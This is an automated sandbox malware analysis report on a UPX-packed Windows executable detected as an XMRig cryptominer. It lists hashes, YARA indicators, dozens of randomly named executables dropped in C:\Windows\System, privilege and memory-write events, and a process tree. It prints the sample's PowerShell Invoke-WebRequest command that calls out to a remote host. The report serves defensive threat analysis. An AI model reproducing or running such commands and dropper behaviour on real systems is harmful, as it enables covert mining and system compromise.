xmrig | 0541fa3d9b3d0687ed0e349885bb08b23d71382ac3cdc1ed95eb3616a0580659

Analysis

max time kernel
149s
max time network
145s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
16/05/2024, 23:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
Size

1.9MB
MD5

5c90f5ff772a5077d3b36bb22635db10
SHA1

d73ce4b4680eaff8e0c0ab12a64f2caac8c72f55
SHA256

0541fa3d9b3d0687ed0e349885bb08b23d71382ac3cdc1ed95eb3616a0580659
SHA512

abaa31e8b23f19a6617facea2e9de5dc3f6eede30571bffbcb2d89a2911779d1701fab17d955ad1324e9a93dda1b26011a29ebe3a7d94bd0c83ddcb27cbe08f4
SSDEEP

49152:Lz071uv4BPMkibTIA5I4TNrpDGfFzcoYc:NABD

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 22 IoCs

miner

resource	yara_rule
behavioral1/memory/2980-1-0x000000013F940000-0x000000013FD32000-memory.dmp	xmrig
behavioral1/memory/3020-43-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/2732-44-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2584-48-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	xmrig
behavioral1/memory/2716-50-0x000000013F440000-0x000000013F832000-memory.dmp	xmrig
behavioral1/memory/2740-52-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	xmrig
behavioral1/memory/2620-57-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/2544-71-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/1580-84-0x000000013F760000-0x000000013FB52000-memory.dmp	xmrig
behavioral1/memory/2980-444-0x000000013F940000-0x000000013FD32000-memory.dmp	xmrig
behavioral1/memory/1452-91-0x000000013FB40000-0x000000013FF32000-memory.dmp	xmrig
behavioral1/memory/2632-78-0x000000013F830000-0x000000013FC22000-memory.dmp	xmrig
behavioral1/memory/2492-54-0x000000013FFD0000-0x00000001403C2000-memory.dmp	xmrig
behavioral1/memory/2544-3640-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/3020-4273-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/1580-4662-0x000000013F760000-0x000000013FB52000-memory.dmp	xmrig
behavioral1/memory/2632-4665-0x000000013F830000-0x000000013FC22000-memory.dmp	xmrig
behavioral1/memory/2716-4696-0x000000013F440000-0x000000013F832000-memory.dmp	xmrig
behavioral1/memory/2732-4703-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2584-4864-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	xmrig
behavioral1/memory/2740-4863-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	xmrig
behavioral1/memory/1452-4903-0x000000013FB40000-0x000000013FF32000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1848	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3020	EjzweON.exe
2732	JMQZpvC.exe
2584	usHMstQ.exe
2716	OACAzHS.exe
2740	EPuDefn.exe
2492	jIeKEGE.exe
2620	fcvNGXd.exe
1204	atBBscp.exe
2544	djJmPXv.exe
2632	ZoHIhQV.exe
1580	sjRrmFV.exe
1452	MAJvRBH.exe
920	bLresHg.exe
2148	QhWgopD.exe
2188	mdrdxGG.exe
1748	XQIICNM.exe
532	mRxCSts.exe
480	xNjEIWc.exe
2140	RJyKlHo.exe
2020	JObpemp.exe
2024	SsjGBYS.exe
2960	JWoCeWq.exe
2828	DADySgq.exe
816	yJoWVVt.exe
1972	BcHvdhj.exe
2052	PHnFqCm.exe
2264	SfLVlyo.exe
1052	AvnjzLV.exe
2644	mzFpzLf.exe
1412	dTwvxdu.exe
2272	wpkzbXa.exe
1084	uHLZUDv.exe
3028	YWgtEYD.exe
2872	KqqfMsQ.exe
884	tlVnqxB.exe
1448	edtVFIM.exe
340	dRiMFpw.exe
764	VZimYBy.exe
1652	erQdvqZ.exe
1660	WvbYKvV.exe
2240	tvADhZw.exe
1940	HCduunW.exe
2320	rhEyigL.exe
1196	LWZDHbe.exe
1980	xtRpuDl.exe
1668	PGmwBoW.exe
2016	KCQGcgM.exe
616	kUFczHz.exe
2084	cmuCGEE.exe
900	rbLZoLg.exe
2368	jgEtmEr.exe
2900	qBwVuNL.exe
2852	uyHGbVJ.exe
1508	YkoJzNX.exe
1616	RZmELgM.exe
2724	LkhgsjG.exe
2464	PYPZJav.exe
2484	ScUBtnF.exe
2600	HUhZLHr.exe
2588	dMLkrfU.exe
2840	mOJrnqW.exe
2576	kuXSaUm.exe
2508	dfGLTdT.exe
2768	GXkbYZY.exe

Loads dropped DLL 64 IoCs

pid	Process
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2980-1-0x000000013F940000-0x000000013FD32000-memory.dmp	upx
behavioral1/files/0x000c00000001227b-6.dat	upx
behavioral1/files/0x0037000000016d3d-15.dat	upx
behavioral1/files/0x0007000000004e76-18.dat	upx
behavioral1/files/0x0008000000016dda-23.dat	upx
behavioral1/files/0x0007000000016dde-27.dat	upx
behavioral1/files/0x0007000000016de7-30.dat	upx
behavioral1/files/0x0009000000017042-32.dat	upx
behavioral1/memory/3020-43-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/memory/2732-44-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/memory/2584-48-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/2716-50-0x000000013F440000-0x000000013F832000-memory.dmp	upx
behavioral1/memory/2740-52-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	upx
behavioral1/memory/2620-57-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/files/0x0036000000016d45-58.dat	upx
behavioral1/memory/1204-62-0x000000013FB60000-0x000000013FF52000-memory.dmp	upx
behavioral1/memory/2544-71-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/files/0x000500000001878d-75.dat	upx
behavioral1/memory/1580-84-0x000000013F760000-0x000000013FB52000-memory.dmp	upx
behavioral1/files/0x0005000000019275-110.dat	upx
behavioral1/files/0x0005000000019283-119.dat	upx
behavioral1/files/0x0005000000019433-149.dat	upx
behavioral1/files/0x0005000000019491-169.dat	upx
behavioral1/memory/2980-444-0x000000013F940000-0x000000013FD32000-memory.dmp	upx
behavioral1/files/0x00050000000194ef-189.dat	upx
behavioral1/files/0x00050000000194b8-179.dat	upx
behavioral1/files/0x00050000000194eb-184.dat	upx
behavioral1/files/0x00050000000194a8-174.dat	upx
behavioral1/files/0x0005000000019457-159.dat	upx
behavioral1/files/0x0005000000019462-164.dat	upx
behavioral1/files/0x000500000001943e-154.dat	upx
behavioral1/files/0x00050000000193b1-144.dat	upx
behavioral1/files/0x00050000000193a5-139.dat	upx
behavioral1/files/0x0005000000019381-129.dat	upx
behavioral1/files/0x000500000001939f-134.dat	upx
behavioral1/files/0x000500000001933a-124.dat	upx
behavioral1/files/0x0005000000019277-114.dat	upx
behavioral1/files/0x0005000000019260-104.dat	upx
behavioral1/files/0x000500000001925d-99.dat	upx
behavioral1/files/0x000500000001923b-94.dat	upx
behavioral1/memory/1452-91-0x000000013FB40000-0x000000013FF32000-memory.dmp	upx
behavioral1/files/0x0005000000019228-87.dat	upx
behavioral1/memory/2632-78-0x000000013F830000-0x000000013FC22000-memory.dmp	upx
behavioral1/files/0x0006000000018bf0-81.dat	upx
behavioral1/files/0x0007000000017477-66.dat	upx
behavioral1/memory/2492-54-0x000000013FFD0000-0x00000001403C2000-memory.dmp	upx
behavioral1/memory/2544-3640-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/memory/3020-4273-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/memory/1580-4662-0x000000013F760000-0x000000013FB52000-memory.dmp	upx
behavioral1/memory/2632-4665-0x000000013F830000-0x000000013FC22000-memory.dmp	upx
behavioral1/memory/2716-4696-0x000000013F440000-0x000000013F832000-memory.dmp	upx
behavioral1/memory/2732-4703-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/memory/2584-4864-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/2740-4863-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	upx
behavioral1/memory/1452-4903-0x000000013FB40000-0x000000013FF32000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\qmkjLgU.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\NlCyTWX.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\WMToTBo.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\UdJSOAy.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\MKBrLrm.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\AYDxBjr.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\lOWXiSb.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\XLLrudR.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\HJdjhKi.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\tSKJIOH.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\jTnUCRe.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\uYzJITW.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\GoPAgLH.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\yEsoCcR.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\tPnJjpt.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\uOvxxaX.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\SoJxkfq.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\svOFuqi.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\yRfQLgm.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\gCFrBQj.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\JzGtXdY.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\vHbEuXM.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\SEsEkKA.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\DyGHsSI.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\iyIdvZk.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\gRkLNbc.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\wemCYUE.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\szYBglr.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\QSdZhZg.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\cqessjy.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\tYahCeV.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\fioVHZf.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\vZrSJnw.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\cFJGxoP.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\kEocbGD.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\JbgWAkf.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\bPeFERO.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\QzZxrgR.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\pSinWhs.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\lPOBpKV.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\gwSbAvb.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\vyUQbou.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\tCXljiG.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\ubVAeQr.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\nbFRIUb.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\nFvKIZA.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\ElaAALd.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\nDfkrjl.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\KdwRxsl.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\nvQrvly.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\KddEbJv.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\dIELQmw.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\uekTMJd.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\jfTtEue.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\aLiqPSz.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\cKzGOEO.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\TBytfZk.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\GTTlYBe.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\oFUUTfI.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\iyZoPFt.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\gPmgMfC.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\wJgONsU.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\dSPOevQ.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
File created	C:\Windows\System\CMuSSYw.exe	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1848	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
Token: SeDebugPrivilege	1848	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 1848	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	29
PID 2980 wrote to memory of 1848	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	29
PID 2980 wrote to memory of 1848	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	29
PID 2980 wrote to memory of 3020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	30
PID 2980 wrote to memory of 3020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	30
PID 2980 wrote to memory of 3020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	30
PID 2980 wrote to memory of 2732	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	31
PID 2980 wrote to memory of 2732	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	31
PID 2980 wrote to memory of 2732	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	31
PID 2980 wrote to memory of 2584	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	32
PID 2980 wrote to memory of 2584	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	32
PID 2980 wrote to memory of 2584	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	32
PID 2980 wrote to memory of 2716	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	33
PID 2980 wrote to memory of 2716	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	33
PID 2980 wrote to memory of 2716	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	33
PID 2980 wrote to memory of 2740	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	34
PID 2980 wrote to memory of 2740	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	34
PID 2980 wrote to memory of 2740	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	34
PID 2980 wrote to memory of 2492	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	35
PID 2980 wrote to memory of 2492	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	35
PID 2980 wrote to memory of 2492	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	35
PID 2980 wrote to memory of 2620	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	36
PID 2980 wrote to memory of 2620	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	36
PID 2980 wrote to memory of 2620	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	36
PID 2980 wrote to memory of 1204	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	37
PID 2980 wrote to memory of 1204	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	37
PID 2980 wrote to memory of 1204	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	37
PID 2980 wrote to memory of 2544	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	38
PID 2980 wrote to memory of 2544	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	38
PID 2980 wrote to memory of 2544	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	38
PID 2980 wrote to memory of 2632	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	39
PID 2980 wrote to memory of 2632	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	39
PID 2980 wrote to memory of 2632	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	39
PID 2980 wrote to memory of 1580	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	40
PID 2980 wrote to memory of 1580	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	40
PID 2980 wrote to memory of 1580	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	40
PID 2980 wrote to memory of 1452	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	41
PID 2980 wrote to memory of 1452	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	41
PID 2980 wrote to memory of 1452	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	41
PID 2980 wrote to memory of 920	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	42
PID 2980 wrote to memory of 920	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	42
PID 2980 wrote to memory of 920	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	42
PID 2980 wrote to memory of 2148	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	43
PID 2980 wrote to memory of 2148	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	43
PID 2980 wrote to memory of 2148	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	43
PID 2980 wrote to memory of 2188	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	44
PID 2980 wrote to memory of 2188	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	44
PID 2980 wrote to memory of 2188	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	44
PID 2980 wrote to memory of 1748	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	45
PID 2980 wrote to memory of 1748	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	45
PID 2980 wrote to memory of 1748	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	45
PID 2980 wrote to memory of 532	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	46
PID 2980 wrote to memory of 532	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	46
PID 2980 wrote to memory of 532	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	46
PID 2980 wrote to memory of 480	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	47
PID 2980 wrote to memory of 480	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	47
PID 2980 wrote to memory of 480	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	47
PID 2980 wrote to memory of 2140	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	48
PID 2980 wrote to memory of 2140	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	48
PID 2980 wrote to memory of 2140	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	48
PID 2980 wrote to memory of 2020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	49
PID 2980 wrote to memory of 2020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	49
PID 2980 wrote to memory of 2020	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	49
PID 2980 wrote to memory of 2024	2980	5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\5c90f5ff772a5077d3b36bb22635db10_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Windows\System\EjzweON.exe
  C:\Windows\System\EjzweON.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\JMQZpvC.exe
  C:\Windows\System\JMQZpvC.exe
  2⤵
  - Executes dropped EXE
  PID:2732
